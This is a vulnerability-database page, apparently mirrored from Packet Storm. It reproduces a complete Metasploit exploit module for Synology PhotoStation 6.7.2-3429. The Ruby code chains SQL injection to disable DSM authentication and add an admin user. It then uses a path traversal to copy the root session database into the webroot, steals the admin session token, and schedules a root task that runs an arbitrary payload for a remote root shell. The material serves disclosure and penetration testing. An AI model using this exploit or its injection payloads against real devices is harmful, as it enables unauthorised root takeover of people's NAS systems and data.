Lucene search
K

Synology PhotoStation 6.7.2-3429 Remote Root

🗓️ 09 Jan 2018 00:00:00Reported by James BercegayType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 40 Views

Exploiting Synology PhotoStation 6.7.2-3429 for remote root access through multiple vulnerabilities

Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Synology PhotoStation Multiple Vulnerabilities",  
'Description' => %q{  
This module exploits multiple vulnerabilities in Synology PhotoStation.  
When combined these issues can be leveraged to gain a remote root shell.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'James Bercegay',  
],  
'References' =>  
[  
[ 'URL', 'http://gulftech.org/' ]  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true  
},  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,  
'Targets' => [ ['Automatic', {}] ],  
'DisclosureDate' => '2018-01-08',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('DSMPORT', [ true, "The default DSM port", '5000']),  
])  
end  
  
def check  
  
res = send_request_cgi(  
{  
'uri' => '/photo/include/blog/label.php',  
'method' => 'POST',  
'vars_post' =>  
{  
'action' =>'get_article_label',  
'article_id' => "1; SELECT user; -- "  
},  
})  
  
if res and res.body =~ /PhotoStation/  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
  
rnum = rand(1000)  
rstr = Rex::Text.rand_text_alpha(10)   
  
uuid = rnum # User ID  
upwd = rstr # User Password  
uusr = rstr # User name  
  
vol1 = '/volume1'  
audb = '/usr/syno/etc/private/session/current.users'  
  
###########################################################################  
# STEP 00: Force PhotoStation to NOT use DSM for the authentication system  
###########################################################################  
  
print_status("Switching authentication system to PhotoStation via SQL Injection")  
  
res = send_request_cgi(  
{  
'uri' => '/photo/include/blog/label.php',  
'method' => 'POST',  
'vars_post' =>  
{  
'action' =>'get_article_label',  
'article_id' => "1; UPDATE photo_config SET config_value=0 WHERE config_key='account_system'; -- "  
},  
})  
  
###########################################################################  
# STEP 01: Create an admin user  
###########################################################################  
  
print_status("Creating admin user: #{uusr} => #{upwd}")  
  
# Password hash  
umd5 = Rex::Text.md5(upwd)  
  
res = send_request_cgi(  
{  
'uri' => '/photo/include/blog/label.php',  
'method' => 'POST',  
'vars_post' =>  
{  
'action' =>'get_article_label',  
'article_id' => "1; INSERT INTO photo_user (userid, username, password, admin) VALUES (#{uuid}, '#{uusr}', '#{umd5}', TRUE); -- "  
},  
})  
  
###########################################################################  
# STEP 02: Authenticate and store session identifier  
###########################################################################  
  
print_status("Authenticating as admin user: #{uusr}")  
  
res = send_request_cgi(  
{  
'uri' => '/photo/webapi/auth.php',  
'method' => 'POST',  
'vars_post' =>  
{  
'api' =>'SYNO.PhotoStation.Auth',  
'method' => 'login',  
'version' =>'1',  
'username' => uusr,  
'password' => upwd,  
'enable_syno_token' => 'TRUE',  
  
},  
})  
  
if not res or not res.headers or not res.headers['Set-Cookie']  
print_error("Unable to retrieve session identifier! Aborting ...")  
return  
end  
  
uckv = res.headers['Set-Cookie']  
psid = /PHPSESSID=([a-z0-9]+);/.match(uckv)[1]  
  
print_status("Got PHP Session ID: #{psid}")  
  
###########################################################################  
# STEP 03: Delete any existing path names used from the database  
###########################################################################  
  
print_status("Making sure there are no duplicate path index conflicts ...")  
  
res = send_request_cgi(  
{  
'uri' => '/photo/include/blog/label.php',  
'method' => 'POST',  
'vars_post' =>  
{  
'action' =>'get_article_label',  
'article_id' => "1; DELETE FROM video WHERE path='#{audb}'; -- "  
},  
})  
  
res = send_request_cgi(  
{  
'uri' => '/photo/include/blog/label.php',  
'method' => 'POST',  
'vars_post' =>  
{  
'action' =>'get_article_label',  
'article_id' => "1; DELETE FROM video WHERE path='#{vol1}/photo///current.users'; -- "  
},  
})  
  
###########################################################################  
# STEP 04: Create a record for our malicious path in the database  
###########################################################################  
  
print_status("Creating video record with bad 'path' data via SQL injection")  
  
res = send_request_cgi(  
{  
'uri' => '/photo/include/blog/label.php',  
'method' => 'POST',  
'vars_post' =>  
{  
'action' =>'get_article_label',  
'article_id' => "1; INSERT INTO video (id, path, title, container_type) VALUES (#{rnum}, '#{audb}', '#{rstr}', '#{rstr}'); -- "  
},  
})  
  
###########################################################################  
# STEP 05: Copy session database as root, to the web directory for reading  
###########################################################################  
  
print_status("Making a copy of the session db as root via synophotoio")  
  
res = send_request_cgi(  
{  
'uri' => '/photo/include/photo/album_util.php',  
'method' => 'POST',  
'vars_post' =>  
{  
'action' =>'copy_items',  
'destination' => '2f',   
'video_list' => rnum  
},  
'cookie' => uckv  
})  
  
###########################################################################  
# STEP 06: Move the session db copy to the web root for retrieval  
###########################################################################  
  
print_status("Moving session db to webroot for retrieval")  
  
res = send_request_cgi(  
{  
'uri' => '/photo/include/file_upload.php',  
'method' => 'POST',  
'vars_get' =>  
{  
# /../@appstore/PhotoStation/photo/  
'dir' =>'2f2e2e2f4061707073746f72652f50686f746f53746174696f6e2f70686f746f2f',  
'name' => "2f",  
'fname' => "#{rstr}",  
'sid' => "#{psid}",  
'action' => 'aviary_add',  
},  
'vars_post' =>  
{  
'url' => 'file://' + vol1 + '/photo/current.users'  
},  
'cookie' => uckv  
})  
  
###########################################################################  
# STEP 07: Retrieve and read the session db  
###########################################################################  
  
print_status("Attempting to read session db")  
  
res = send_request_cgi(  
{  
'uri' => "/photo/#{rstr}.jpg",  
'method' => 'GET'  
})  
  
if not res or not res.body  
print_error("Unable to retrieve session file! Aborting ...")  
return  
end  
  
host = /"host": "([^"]+)"/.match(res.body)[1]  
sess = /"id": "([^"]+)"/.match(res.body)[1]  
syno = /"synotoken": "([^"]+)"/.match(res.body)[1]  
  
print_status("Extracted admin session: #{sess} @ #{host}")  
  
###########################################################################  
# STEP 08: Registering files for cleanup  
###########################################################################  
  
# Uncomment for cleanup functionality  
# register_files_for_cleanup("#{vol1}/photo/current.users")  
# register_files_for_cleanup("#{vol1}/@appstore/PhotoStation/photo/#{rstr}.jpg")  
  
###########################################################################  
# STEP 09: Create a task containing our payload  
###########################################################################  
  
print_status("Creating privileged task to run as root")  
  
# Switch to DSM port from here on out  
datastore['RPORT'] = datastore['DSMPORT']  
  
res = send_request_cgi(  
{  
'uri' => '/webapi/entry.cgi',  
'headers' =>   
{   
'X-SYNO-TOKEN' => syno,   
'Client-IP' => host   
},  
'method' => 'POST',  
'vars_post' =>  
{  
'name' => '"whatevs"',  
'owner' => '"root"',  
'enable' => 'true',  
'schedule' =>'{"date_type":0,"week_day":"0,1,2,3,4,5,6","hour":0,"minute":0,"repeat_hour":0,"repeat_min":0,"last_work_hour":0,"repeat_min_store_config":[1,5,10,15,20,30],"repeat_hour_store_config":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23]}',  
'extra' => '{"notify_enable":false,"script":"' + payload.encoded.gsub(/"/,'\"') + '","notify_mail":"","notify_if_error":false}',  
'type' => '"script"',  
'api' => 'SYNO.Core.TaskScheduler',  
'method' => 'create',  
'version' => '2',  
  
},  
'cookie' => "id=#{sess}"  
})  
  
if not res or not res.body  
print_error("Unable to create task! Aborting ...")  
return  
end  
  
task = /{"id":(\d+)},"success":true}/.match(res.body)[1]  
  
print_status("Task created successfully: ID => #{task}")  
  
###########################################################################  
# STEP 10: Execute the selected payload  
###########################################################################  
  
print_status("Running selected task as root. Get ready for shell!")  
  
res = send_request_cgi(  
{  
'uri' => '/webapi/entry.cgi',  
'headers' =>   
{   
'X-SYNO-TOKEN' => syno,   
'Client-IP' => host   
},  
'method' => 'POST',  
'vars_post' =>  
{  
'stop_when_error' => 'false',  
'mode' => '"sequential"',  
'compound' => '[{"api":"SYNO.Core.TaskScheduler","method":"run","version":1,"task":[' + task + ']}]',  
'api' => 'SYNO.Entry.Request',  
'method' => 'request',  
'version' => '1'  
},  
'cookie' => "id=#{sess}"  
})  
  
###########################################################################  
# STEP 11: Delete payload task from scheduler  
###########################################################################  
  
print_status("Deleting malicious task from task scheduler")  
  
res = send_request_cgi(  
{  
'uri' => '/webapi/entry.cgi',  
'headers' =>   
{   
'X-SYNO-TOKEN' => syno,   
'Client-IP' => host   
},  
'method' => 'POST',  
'vars_post' =>  
{  
'stop_when_error' => 'false',  
'mode' => '"sequential"',  
'compound' => '[{"api":"SYNO.Core.TaskScheduler","method":"delete","version":1,"task":[' + task + ']}]',  
'api' => 'SYNO.Entry.Request',  
'method' => 'request',  
'version' => '1'  
},  
'cookie' => "id=#{sess}"  
})  
  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation